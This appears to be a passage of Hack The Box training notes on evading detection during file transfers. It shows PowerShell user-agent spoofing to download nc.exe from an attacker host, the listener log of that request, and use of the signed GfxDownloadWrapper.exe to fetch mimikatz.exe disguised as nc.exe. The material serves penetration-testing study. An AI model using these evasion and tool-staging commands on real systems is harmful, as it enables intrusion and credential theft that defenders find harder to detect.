Evading Detection

Listing out User Agents

PS C:\htb>[Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl

Name       : InternetExplorer
User Agent : Mozilla/5.0 (compatible; MSIE 9.0; Windows NT; Windows NT 10.0; en-US)

Name       : FireFox
User Agent : Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) Gecko/20100401 Firefox/4.0

Name       : Chrome
User Agent : Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.500.0
             Safari/534.6

Name       : Opera
User Agent : Opera/9.70 (Windows NT; Windows NT 10.0; en-US) Presto/2.2.1

Name       : Safari
User Agent : Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0
             Safari/533.16

Request with Chrome User Agent

PS C:\htb> $UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
PS C:\htb> Invoke-WebRequest http://10.10.10.32/nc.exe -UserAgent $UserAgent -OutFile "C:\Users\Public\nc.exe"

nc -lvnp 80

listening on [any] 80 ...
connect to [10.10.10.32] from (UNKNOWN) [10.10.10.132] 51313
GET /nc.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) AppleWebKit/534.6
(KHTML, Like Gecko) Chrome/7.0.500.0 Safari/534.6
Host: 10.10.10.32
Connection: Keep-Alive

Transferring File with GfxDownloadWrapper.exe

PS C:\htb> GfxDownloadWrapper.exe "http://10.10.10.132/mimikatz.exe" "C:\Temp\nc.exe"